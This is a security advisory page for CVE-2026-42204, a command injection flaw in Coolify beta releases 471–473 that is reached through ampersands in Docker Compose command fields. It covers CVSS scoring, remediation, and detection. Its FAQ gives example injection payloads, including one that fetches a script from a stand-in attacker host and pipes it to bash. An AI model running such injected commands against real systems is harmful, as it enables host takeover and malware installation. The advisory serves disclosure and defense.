CVE-2026-42204: Coolify Command Injection via Docker Compose Ampersand Bypass
Coolify, an open-source platform for managing servers and containerized applications, contains a command injection vulnerability in versions 4.0.0-beta.471 through 4.0.0-beta.473. The flaw allows authenticated team members to bypass shell command restrictions and execute arbitrary commands directly on the host system by injecting ampersands into Docker Compose configuration fields. An attacker with valid team credentials can exploit this to compromise the underlying infrastructure.
Source data · NVD / CISA · public domain
- CVSS
- 3.1 · 8.8 HIGH · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Weaknesses (CWE)
- CWE-78
- Affected products
- 0 configuration(s)
- Published / Modified
- 2026-07-06 / 2026-07-07
NVD description (verbatim)
Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. From 4.0.0-beta.471 through 4.0.0-beta.473, a regression in SHELL_SAFE_COMMAND_PATTERN allowed ampersands in custom Docker Compose build, start, and pre/post-deployment command fields, allowing an authenticated team member to inject shell commands that execute on the host. This issue is fixed in version 4.0.0-beta.474.
5 reference(s) · View on NVD →
SEC.co analysis · AI-assisted, reviewed against source
Technical summary
A regression in the SHELL_SAFE_COMMAND_PATTERN validation logic permits ampersand characters (&) to pass through input filtering in custom Docker Compose build, start, and pre/post-deployment command fields. This allows shell metacharacter injection, enabling an authenticated user to chain commands and achieve arbitrary code execution on the host with the privileges of the Coolify process. The vulnerability stems from incomplete sanitization of shell metacharacters in command construction, violating the principle that user input in these sensitive contexts should be strictly whitelisted rather than blacklisted. Coolify's fix in version 4.0.0-beta.474 restores proper pattern matching to block ampersands and related shell control characters.
Business impact
This vulnerability enables insider threats and lateral movement attacks within organizations using Coolify for infrastructure management. A compromised team member account—or an external actor with stolen credentials—can gain host-level access, potentially compromising all applications, databases, and services orchestrated by that Coolify instance. Data exfiltration, service disruption, malware installation, and pivot attacks to connected infrastructure become possible. For organizations relying on Coolify in production, this represents a direct path to infrastructure compromise.
Affected systems
Coolify versions 4.0.0-beta.471, 4.0.0-beta.472, and 4.0.0-beta.473 are affected. The vulnerability affects any self-hosted Coolify deployment running these specific beta releases. Organizations using stable releases prior to 4.0.0-beta.471 or version 4.0.0-beta.474 and later are not impacted. The risk scope is limited to teams with access to custom Docker Compose command configuration in the affected versions.
Exploitability
Exploitation requires valid Coolify team member credentials—a significant barrier that limits opportunistic attacks but reflects a meaningful insider or credential-compromise risk. Once authenticated, the attack is trivial to execute: an attacker simply inserts an ampersand followed by a shell command in any of the affected Docker Compose command fields (build, start, pre/post-deployment). No special tooling, complex logic, or user interaction is required. The attack surface is broad since any team member with permissions to configure these fields can exploit it. Given the high barrier to initial access but near-certain success once credentials are obtained, this is a high-priority vulnerability for organizations with sensitive infrastructure managed by Coolify.
Remediation
Update Coolify to version 4.0.0-beta.474 or later. This patch version corrects the SHELL_SAFE_COMMAND_PATTERN to properly block ampersands and other shell metacharacters. Organizations should verify the exact patched version against the official Coolify repository to confirm availability. After patching, review team access controls and audit logs to identify any suspicious Docker Compose command executions during the vulnerable window.
Patch guidance
Upgrade to Coolify version 4.0.0-beta.474 or later as soon as feasible. If your deployment is on a stable release track, monitor the Coolify project for when this fix is incorporated into a stable release. In the interim, restrict team member access to Docker Compose command configuration fields to only trusted users, and monitor execution logs for unusual shell command patterns. Verify the patch by confirming the SHELL_SAFE_COMMAND_PATTERN validation now rejects ampersand input.
Detection guidance
Search application and host logs for Docker Compose command executions containing ampersands (&) or other shell metacharacters in custom build, start, or deployment command fields. Monitor process execution logs on the Coolify host for unexpected child processes spawned from the Coolify service process, particularly shell invocations with suspicious arguments. Audit team member activities during the affected versions (4.0.0-beta.471–473) for configuration changes to Docker Compose commands. Look for command entries that include operators like &, |, ;, $(), or backticks in fields that should contain only application names, image tags, or simple paths.
Why prioritize this
Despite the authentication requirement limiting immediate exploitation surface, this vulnerability merits urgent patching because: (1) it allows complete host compromise with team-level credentials, (2) the attack surface is broad and trivial to exploit once credentials are obtained, (3) the affected versions are recent beta releases likely in active use by early adopters, (4) infrastructure management tools are high-value targets, and (5) the CVSS 8.8 score reflects the severity of unrestricted command execution on a critical infrastructure component.
Risk score, explained
The CVSS 3.1 score of 8.8 (HIGH) reflects: Network accessibility (AV:N), no special conditions required beyond authentication (AC:L), requirement for authenticated access (PR:L), no user interaction needed (UI:N), and unrestricted impact to confidentiality, integrity, and availability (C:H/I:H/A:H). The score appropriately captures that an authenticated attacker gains complete control over the host system, while the authentication prerequisite prevents mass exploitation by unauthenticated threat actors.
Frequently asked questions
Does this affect Coolify stable releases?
Only Coolify versions 4.0.0-beta.471 through 4.0.0-beta.473 are affected. If you are running a stable release (e.g., 3.x or earlier 4.0.0 releases), you are not impacted. Verify your version in the Coolify dashboard and check against the official release notes to confirm your status.
What if we restrict team member access to Docker Compose fields?
Access controls reduce the attack surface but do not eliminate the vulnerability. Any team member with permissions to configure these fields remains able to exploit the flaw. Patching is the definitive remediation; access restrictions should be considered a temporary compensating control only.
How would an attacker use this vulnerability in practice?
An attacker with valid team credentials would navigate to Docker Compose command configuration (build, start, or pre/post-deployment fields) and inject a command like `& whoami` or `& wget http://attacker.com/malware.sh | bash`. The ampersand allows chaining of shell commands, giving the attacker arbitrary code execution on the host with Coolify's process privileges.
Is this vulnerability in the CISA KEV catalog?
No, this vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities catalog. However, the high CVSS score and ease of exploitation mean it should be treated as a priority patch regardless of KEV status.
This analysis is provided for informational purposes and should not be considered as legal advice or a substitute for professional security assessment. Organizations should verify all technical details against official Coolify advisories and their specific deployment configurations. Patch availability, version numbers, and timelines are subject to change; refer to the official Coolify repository for authoritative guidance. SEC.co makes no warranties regarding the completeness or accuracy of this analysis and recommends independent verification by qualified security personnel before taking remediation actions. Source: NVD (public-domain), retrieved 2026-08-15. Analysis generated by SEC.co (claude-haiku-4-5).
Weaknesses (CWE)
Related vulnerabilities
- CVE-2025-41265HIGHWaterfall WF-500 TX Host OS Command Injection (CVSS 7.2)
- CVE-2025-41266HIGHWaterfall WF-500 TX Host Command Injection Vulnerability Analysis
- CVE-2025-41267HIGHWaterfall WF-500 TX Host Command Injection Vulnerability
- CVE-2025-41279HIGHOS Command Injection in Waterfall WF-500 RX Host Administration WebUI
- CVE-2025-41281HIGHWaterfall WF-500 OS Command Injection
- CVE-2025-66273HIGHQNAP Command Injection in QTS and QuTS hero
- CVE-2025-66279HIGHQNAP NAS Command Injection – Admin Authentication Required, HIGH Severity
- CVE-2025-69755HIGHNeterbit NW-431F Router RCE and Data Exposure Vulnerability